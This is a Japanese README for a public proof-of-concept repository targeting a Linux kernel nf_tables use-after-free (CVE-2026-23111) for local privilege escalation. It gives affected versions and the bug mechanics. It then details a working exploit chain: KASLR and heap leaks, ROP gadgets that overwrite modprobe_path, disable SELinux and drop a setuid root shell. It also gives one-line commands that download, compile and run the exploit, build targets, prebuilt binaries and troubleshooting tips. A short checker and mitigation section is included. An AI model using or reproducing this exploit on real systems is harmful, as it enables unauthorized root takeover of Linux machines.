
Linuxカーネル nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linuxカーネル nf_tablesのUse-After-Free(ローカル権限昇格) poc by baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| バージョン範囲 | 修正バージョン |
|---|---|
| 6.19-rc1 ~ 6.19-rc8 | 6.19-rc9+ |
| 6.13 ~ 6.18.9 | 6.18.10 |
| 6.7 ~ 6.12.69 | 6.12.70 |
| 6.4.1 ~ 6.5.x | EOL(安定版修正なし) |
| 6.3.10 ~ 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 ~ 6.1.162 | 6.1.163 |
| 5.15.121 ~ 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | 各種LTS |
CVE-2026-23111は、nft_map_catchall_activate()における世代マスクチェックの反転が原因のnf_tablesのUse-After-Freeです。失敗したトランザクションのロールバック中に、NFT_MSG_DELSETで非アクティブ化されたキャッチオールの判定マップ要素を再アクティブ化して、NFT_GOTOチェーン参照などの参照を復元する必要があります。キャッチオールのアクティベーションパスは代わりに非アクティブな要素をスキップし、アクティブな要素を処理するため、非アクティブ化されたキャッチオール要素が復元されません。
正しい非キャッチオールアクティベーションロジックは次のとおりです。
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* アクティブはスキップ、非アクティブを処理 */
脆弱なキャッチオールパスでは逆の条件が使用されていました。
if (!nft_set_elem_active(ext, genmask))
continue; /* 非アクティブはスキップ、アクティブを処理 */
削除されたpipapo判定マップがロールバックされると、非アクティブなキャッチオール要素に対してnft_setelem_data_activate()が実行されなくなります。NFT_JUMP/NFT_GOTO判定データの場合、nft_data_hold()によって取得されたチェーン参照が復元されません。アボート/トグル/削除のシーケンスを繰り返すことで、chain->useを0にしながら、別のルールがまだそのチェーンへの有効な判定参照を保持している状態を作り出せます。後でDELCHAINを実行すると、チェーンが到達可能なまま解放され、UAFが発生します。
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
|
Batch 1: delete the pipapo set, then force a transaction error
|
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
|
The catchall remains inactive and the victim chain reference count is not restored
|
Batch 2: commit a benign transaction to toggle the generation cursor
|
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
|
Batch 4: delete the victim chain while the base-chain verdict still references it
|
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference
上流の修正は否定を削除して、nft_map_catchall_activate()がnft_mapelem_activate()と一致するようにすることです。アクティブな要素はスキップされ、非アクティブな要素は再アクティブ化され、アボート処理中に判定/オブジェクト参照が復元されます。
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
対象カーネルでフル/v1 PoCが失敗した場合に使用します。
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
コンパイラがlibmnl/libmnl.hやlibnftnlヘッダーを見つけられない場合、最初にビルド依存関係をインストールします。
scripts/install-build-deps.sh
# または
make deps
make # エクスプロイトのビルド (PoCのみ)
make v2 # v2エクスプロイトのビルド (FuzzingLabsのアプローチ — v1が失敗したときに試す)
make full # フルLPEエクスプロイトのビルド
make v3 # v3キャリブレーション済みeval-pathバリアントのビルド
make run-d # デバッグ出力付きでPoCを実行
make run-v2-d # デバッグ出力付きでv2を実行
make run-v3 # v3の使用方法/ヘルプを表示
make run-full # フルLPEを実行
キャッチオール要素(victimチェーンへのgoto)を持つpipapoマップセットを作成し、DELSETアボート中に反転したgenmaskバグを利用してchain->useを破壊します。世代カウンタを進めた後、DELCHAINがぶら下がり参照があるにもかかわらず成功し、チェーンが解放されます。
UAF後、chain->nameのメモリが解放されます。/proc/self/statを開くことでseq_operations構造体(32バイト)をスプレーし、解放されたスラブキャッシュスロットを再利用します。NFT_MSG_GETRULEでベースチェーンの即時判定ルールを読み戻すと、再利用されたチェーン名がダンプされ、カーネル関数ポインタがリークします。ポインタの検証により、正規のカーネルテキストアドレスのみが受け入れられます。
より長いチェーン名(140バイト → kmalloc-cg-192)でUAFを再トリガーし、nft_ruleオブジェクトをスプレーしてメモリを再利用します。リークしたlist_headポインタから、ダイレクトマップ領域内のヒープアドレスが明らかになります。
nft_expr_opsとnft_rule_blobを作成blob_gen_0を上書きcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreから自動スキャンexpr->ops->evalを呼び出すv2エクスプロイト(exploit_v2.c)はFuzzingLabsの記事で説明されている手法を使用しており、v1 PoCが失敗した場合に使用できます。主な違い:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (タグ付きポインタ)
msg_queue + 0xc0 → q_messages.next → msg_msg ヒープアドレス
各ステップでは、解放されたチェーン構造体を任意読み取りプリミティブとして使用します。テーブルユーザデータ(128バイト)がkmalloc-cg-128内の解放されたnft_chainを再利用し、オフセット0x40(chain->nameが存在する場所)に配置されたカーネルアドレスが、SET_B要素ダンプ中にカーネルによって逆参照されます。
v3ヒープステージは、真のバイナリセーフな任意読み取り(eval経由)プリミティブではなく、オフセット予測に依存します。最終スプレーを実行する前にターゲットをキャリブレーションしてください。
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048オブジェクト密度と照合し、次のコマンドで実行:
./exploit_v3 --msg-msg-addr 0xffff...
# または、値がリークしたカーネルベースに対して既知の相対値である場合:
./exploit_v3 --msg-msg-delta 0x...
正確なカーネルビルドに対してnftables構造体のオフセットを検証します。
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
ガジェットスキャンは/proc/kcoreを使用します。制限されている場合は、vmlinuxからオフラインでガジェットを抽出し、リークしたカーネルベースに対する相対アドレスをハードコードします。v3パケット評価パスではpush rdi; pop rspを使用します(rdi = expr)。これはv2の検証パス(rsi = expr)とは異なります。
push rdi; pop rsp; pop rbp; ret ← スタックピボット (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ modprobe_pathの書き込み
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ SELinuxの無効化
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ カーネルを生かし続ける
/tmp/peスクリプトは、カーネルが未知のバイナリ形式に遭遇してmodprobe_pathを呼び出したときにrootとして実行されます。/tmp/rootbashにsetuid rootシェルを作成します。
NFT_MSG_GETRULEの代わりにNFT_MSG_GETELEM(異なるカーネルコードパス)を使用nft_ruleオブジェクトのスプレーではなく、init_ipc_nsグローバル変数を使用してカーネルデータ構造をウォークnft_rules + テーブルユーザデータではなくmsg_msg-2k(大きな安定したバッファ)を使用commit_creds + 名前空間スイッチではなくmodprobe_path(swapgs/iretq不要)を使用init_ipc_nsチェーンターゲットは安定したグローバルであり、ヒープレイアウトの重要性が低いnft_map_catchall_activate() (net/netfilter/nf_tables_api.c) 内:
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // バグ: '!' がないべき
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
!により、関数は非アクティブな要素を処理する代わりにスキップします。トランザクションアボート中、DELSETで非アクティブ化されたばかりのキャッチオール要素がスキップされるため、nft_data_hold()が呼び出されず、チェーン参照カウンタが復元されません。
├── CVE-2026-23111-checker.py 脆弱性検出スクリプト (--detailed, --json)
├── exploit.c PoCエクスプロイト (UAF + KASLRリーク + ヒープリーク)
├── exploit_v2.c v2エクスプロイト (FuzzingLabsのアプローチ — v1が失敗したときに試す)
├── exploit_full.c フルLPEエクスプロイト (UAF + リーク + ROPチェーン)
├── exploit_full_aarch64 プリビルドaarch64バイナリ (静的リンク)
├── exploit_full.b64 Base64エンコードされたフルエクスプロイトバイナリ
├── Makefile ビルド設定
└── README.md このファイル
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # ASan付きPoC
make debug-full # ASan付きフルエクスプロイト
チェッカーは複数の検出方法を実行します。
nf_tablesカーネルモジュールがロードされているか確認/proc/config.gzまたは/boot/config-*からCONFIG_NF_TABLESを読み取り/proc/kallsyms内のnft_map_catchall_activateを検索kernel.unprivileged_userns_clone sysctlを確認python3 CVE-2026-23111-checker.py --detailed # 緩和策付きの人間可読形式
python3 CVE-2026-23111-checker.py --json # 機械可読JSON
sysctl kernel.unprivileged_userns_clone=0nf_tablesモジュールをブラックリストに追加:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| コンポーネント | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAFトリガー | 単一セット + 即時gotoルール | 2つのセット(FuzzingLabsスタイル) + ルックアップルール |
| KASLR読み戻し | NFT_MSG_GETRULE(ルールダンプ) | NFT_MSG_GETELEM(要素ダンプ) + GETRULEフォールバック |
| ヒープリーク | nft_ruleスプレー + list_headリーク | init_ipc_ns任意読み取りチェーン |
| ROPホスト | nft_rules + テーブルユーザデータ | msg_msg-2k(2048バイトメッセージ) |
| ハイジャックトリガー | 即時gotoに対するパケット評価 | 存続セットのキャッチオールに対するパケット評価 |
| 権限昇格 | commit_creds + switch_task_namespaces | modprobe_path上書き + SELinux無効化 |
| 復帰パス | swapgs; iretq | msleep()(カーネル内に留まる) |
| 問題 | 解決策 |
|---|
mnl_socket_open: No such file or directory | nf_tablesモジュールがロードされていることを確認: modprobe nf_tables |
unshare: Operation not permitted | 非特権ユーザ名前空間が必要。kernel.unprivileged_userns_clone=1を確認 |
Batch A did NOT abort | カーネルが修正されているか、genmaskの動作が異なる可能性がある |
No kernel pointer leaked | KASLR強化またはSLAB_RANDOMが有効な可能性がある。複数回試す |
No heap pointer found | ヒープスプレーの衝突率は確率的。再試行するかスプレー数を増やす |
コンパイル: nf_tables.h: No such file | カーネルヘッダーをインストール: apt install linux-headers-$(uname -r) |
リンクエラー: undefined reference to mnl_* | リンク順序が重要: -lnftnl -lmnl (nftnlを先に) |